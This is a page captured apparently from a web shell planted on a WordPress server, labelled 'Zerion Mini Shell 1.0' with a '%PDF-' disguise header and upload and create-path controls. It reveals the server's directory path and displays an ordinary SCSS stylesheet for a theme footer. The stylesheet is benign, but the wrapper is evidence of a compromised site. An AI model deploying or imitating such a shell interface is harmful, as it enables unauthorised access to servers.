%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/scss/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/themes/stripes_weekly/src/scss/_footer.scss

footer {
    background: #1d1d1d;
    padding-top: calc-rem(50);
    padding-bottom: calc-rem(90);

    position: relative;

    @include media-breakpoint-down(md) {
        padding-top: calc-rem(20);
        padding-bottom: calc-rem(30);
    }

    
}

.footer--menus {

    .container {
        padding-top: calc-rem(35);
        padding-bottom: calc-rem(45);
        position: relative;

        @include media-breakpoint-down(md) {
            padding-bottom: calc-rem(110);
        }
    }

    .footer--menus--item {
        margin-bottom: calc-rem(50);
        .footer--menus--title {
            color: #E3E3E3;
            font-size: calc-rem(18);
            line-height: calc-lh(18,24);
            font-weight: bold;
            letter-spacing: calc-rem(2.2);
            margin-bottom: calc-rem(24);
            border-bottom: solid 1px #E3E3E3;
            padding-bottom: calc-rem(10);
            
            @include media-breakpoint-down(lg) {
                padding-bottom: 0;
                border-bottom: none;
                color: #60616E;
            }

            @include media-breakpoint-down(md) {
                font-size: calc-rem(15);
                line-height: calc-lh(15,24);
                letter-spacing: calc-rem(4.5);
                margin-bottom: calc-rem(35);

            }
        }

        ul {
            list-style: none;
            padding: 0;
            li {
                margin-bottom: calc-rem(25);

                a {
                    font-size: calc-rem(16);
                    line-height: calc-lh(16,25);
                    text-decoration: none;
                    color: #959595;

                    @include media-breakpoint-down(lg) {
                        color: #fff;
                    }

                    &:hover {
                        text-decoration: underline;
                        color: $primary;
                    }
                }
            }
        }
    }

    img {
        position: absolute;
        right: 0;
        bottom: 0;
        max-width: calc-rem(360);

        @include media-breakpoint-down(md) {
            max-width: calc-rem(300);
        }
    }
}

.footer--line {
    .footer--line--inner {
        border: solid 1px rgba($color: #fff, $alpha: 0.25);;
        display: flex;
        min-height: calc-rem(88);

        @include media-breakpoint-down(lg) {
            flex-wrap: wrap;
        }

        > * + * {
            border-left: solid 1px rgba($color: #fff, $alpha: 0.25);
        }

        .footer--line--logo {
            padding: calc-rem(10) calc-rem(25);
            display: flex;
            align-items: center;

            @include media-breakpoint-down(lg) {
                flex: 1 1;
                justify-content: center;
            }

            @include media-breakpoint-down(sm) {
                width: 20%;
                img {
                    max-width: 100%;
                }
            }
        }

        .footer--line--part-of {
            display: flex;
            .footer--line--part-of--icon {
                border-right: solid 1px rgba($color: #fff, $alpha: 0.25);
                display: flex;
                align-items: center;
                padding: 0 calc-rem(10);
                
            }

            a {
                display: flex;
                align-items: center;
                justify-content: center;
                padding: calc-rem(10) calc-rem(30);

                @include media-breakpoint-down(md) {
                    padding: calc-rem(23) calc-rem(25);
                }

                svg {
                    width: 100%;
                    max-width: calc-rem(81);

                    path {
                        fill: #616161;
                        transition: $transition_normal;
                    }
                }

                &:hover {
                    svg {
                        path {
                            fill: $primary;
                        }
                    }
                }
            }
            
        }

        .footer--line--copyright {
            flex: 1 1;
            padding: calc-rem(10) calc-rem(34);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: calc-rem(13);
            text-transform: uppercase;
            line-height: 1.4;
            color: #959595;

            @include media-breakpoint-down(lg) {
                min-width: 100%;
                border-top: solid 1px rgba($color: #fff, $alpha: 0.25);
            }

            @include media-breakpoint-down(md) {
                padding: calc-rem(20) calc-rem(34);
            }
        }

        .footer--line--socials {
            display: flex;

            @include media-breakpoint-down(lg) {
                min-width: 100%;
                border-top: solid 1px rgba($color: #fff, $alpha: 0.25);
            }

            ul {
                display: flex;
                margin: 0;
                list-style: none;
                padding: 0;

                @include media-breakpoint-down(lg) {
                    flex: 1 1;
                }

                li {
                    display: flex;
                    @include media-breakpoint-down(lg) {
                        flex: 1 1;
                    }
                    
                    a {
                        display: flex;
                        align-items: center;
                        justify-content: center;
                        text-decoration: none;
                        padding: calc-rem(10) calc-rem(33);
                        font-size: calc-rem(24);
                        color: #959595;

                        @include media-breakpoint-down(lg) {
                            flex: 1 1;
                        }

                        @include media-breakpoint-down(md) {
                            padding: calc-rem(22) calc-rem(33);
                        }

                        &:hover {
                            color: #247474;
                        }
                    }
                }
                
                > * + * {
                    border-left: solid 1px rgba($color: #fff, $alpha: 0.25);
                }
            }
        }
    }
}

Zerion Mini Shell 1.0